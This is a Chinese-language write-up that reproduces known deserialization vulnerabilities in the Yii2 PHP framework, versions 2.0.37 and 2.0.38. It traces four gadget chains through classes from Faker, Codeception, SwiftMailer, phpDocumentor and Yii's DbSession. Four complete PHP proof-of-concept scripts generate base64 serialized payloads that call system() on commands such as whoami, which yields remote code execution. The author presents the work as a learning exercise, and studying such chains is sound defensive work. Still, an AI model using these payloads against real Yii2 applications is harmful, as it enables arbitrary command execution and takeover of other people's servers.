yii2反序列化漏洞分析
環境搭建
Windows10 phpstudy
yii2版本:2.0.37和2.0.38
php版本:7.3.4
環境安裝
使用compser安裝2.0.38版本,github安裝2.0.37版本
漏洞分析
漏洞的出發點是在\yii\vendor\yiisoft\yii2\db\BatchQueryResult.php文件中,

這里調用reset()方法,跟進查看reset()方法

並且這里$this->dataReader可控,可以調用不存在close()方法並且存在__call()方法的類,就是找一個跳板。$this->_dataREader->close()這里可以利用魔術方法__call,於是開始全局搜索__call。在\yii\vendor\fzaninotto\faker\src\Faker\Generator.php文件中

跟進format

跟進查看getFormatter

format里調用了call_user_func_array,$formatter與$arguments都不可控,目前$formatter='close',$arguments為空。$formatter傳入了$this->getFormatter,在這個方法中,$this->formatters是可控的,這也就意味着getFormatter方法的返回值是可控的。
也就是說all_user_func_array這個函數的第一個參數可控,第二個參數為空
現在可以調用yii框架中的任何一個無參的方法。所以,要找一個無參數的方法,在這個方法中我們可以實現任意代碼執行或者間接實現任意代碼執行。
查找調用了call_user_func函數的無參方法。
構造正則
function \w+\(\) ?\n?\{(.*\n)+call_user_func
查看IndexAction.php中的run方法

可以看到$this->checkAccess以及$this->id都可控,構成利用鏈
yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
POC1
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
$this->formatters['close'] = [new CreateAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct(){
$this->_dataReader = new Generator;
}
}
}
namespace{
echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>
驗證payload,因為這僅僅是一個反序列化利用鏈,所以還需要一個反序列化的入口點,這個需要自己構造
在controllers目錄下創建一個Controller:

運行POC訪問controller傳入參數實現RCE

該利用鏈在yii 2.0.37中測試成功,在使用yii 2.0.38測試時,BatchQueryTesult類被修復無法實例化,需要另找起點。
其他利用鏈
yii 2.0.38中的另外起點。
利用鏈1
利用鏈的起點\yii\vendor\codeception\codeception\ext\RunBefore.php

同樣還是找__destruct()方法調用了stopProcess()函數,因為這里的$this->processes可控,也就意味着$process可控,然后下面又調用了$process->isRunning,可以接上第一條利用鏈的__call方法開頭的后半段。
利用鏈
Codeception\Extension\RunProcess::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()
POC2
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'ls';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 這里需要改為isRunning
$this->formatters['isRunning'] = [new CreateAction(), 'run'];
}
}
}
// poc2
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes;
public function __construct()
{
$this->processes = [new Generator()];
}
}
}
namespace{
// 生成poc
echo base64_encode(serialize(new Codeception\Extension\RunProcess()));
}
?>
運行poc,並執行rce

利用鏈2
\yii\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php文件中,

跟進clearAll方法

這里的$this->keys以及$nsKey、$itemKey都是我們可控的,所以是可以執行到$this->clearKey的,跟進查看:

這里的$this->path也可控,可以看到這里是進行了一個字符串拼接操作,那么意味着可以利用魔術方法__toString來觸發后續操作。
全局搜素__toString,有200個文件

文件路徑\yii\vendor\phpdocumentor\reflection-docblock\src\DocBlock\Tags\See.php
使用See.php舉例

可以看到$this->description可控,又可以利用__call
利用鏈2
Swift_KeyCache_DiskKeyCache -> phpDocumentor\Reflection\DocBlock\Tags\See::__toString()-> Faker\Generator::__call() -> yii\rest\IndexAction::run()
POC3
<?php
namespace yii\rest{
class CreateAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'dir';
}
}
}
namespace Faker{
use yii\rest\CreateAction;
class Generator{
protected $formatters;
public function __construct(){
// 這里需要改為isRunning
$this->formatters['render'] = [new CreateAction(), 'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class See{
protected $description;
public function __construct()
{
$this->description = new Generator();
}
}
}
namespace{
use phpDocumentor\Reflection\DocBlock\Tags\See;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->path = new See;
$this->keys = array(
"axin"=>array("is"=>"handsome")
);
}
}
// 生成poc
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
?>
測試poc,實現rce

利用鏈3
起點還是一樣,與上述不同的是不用急着找跳板,reset()方法中$this->_dataReader是我們可控的,需要找到一個類中存在close()方法並且這個方法存在危險函數或是又可以延展調用鏈的就可以了
找到\yii\vendor\yiisoft\yii2\web\DbSession.php這個類中的close()方法

會調用\vendor\yiisoft\yii2\web\MultiFieldSession.php中的composeFields()方法,因為是繼承此類的,看到這個方法

比較這兩個函數的差別
- 如果傳遞一個數組給 call_user_func_array(),數組的每個元素的值都會當做一個參數傳遞給回調函數,數組的 key 回調掉。
- 如果傳遞一個數組給 call_user_func(),整個數組會當做一個參數傳遞給回調函數,數字的 key 還會保留住。
這里要利用call_user_func()函數能夠將實例化對象作為數組傳遞給函數,也就是說這里因為我們可控$this->writeCallback,然后賦值[new \yii\rest\IndexAction($func, $param), "run"];
就可以調用之前我們所找到的終點--run()方法,再進行RCE
POC4
<?php
namespace yii\rest {
class Action
{
public $checkAccess;
}
class IndexAction
{
public function __construct($func, $param)
{
$this->checkAccess = $func;
$this->id = $param;
}
}
}
namespace yii\web {
abstract class MultiFieldSession
{
public $writeCallback;
}
class DbSession extends MultiFieldSession
{
public function __construct($func, $param)
{
$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];
}
}
}
namespace yii\db {
use yii\base\BaseObject;
class BatchQueryResult
{
private $_dataReader;
public function __construct($func, $param)
{
$this->_dataReader = new \yii\web\DbSession($func, $param);
}
}
}
namespace {
$exp = new \yii\db\BatchQueryResult('system', 'whoami');
echo(base64_encode(serialize($exp)));
}
在yii 2.0.37版本中測試成功,2.0.38測試失敗。

POC在yii2.0.37中通用,其中POC2和POC3在yii2.0.38中可用。
對反序列化還不是很熟悉,這里主要是對已知漏洞的復現。
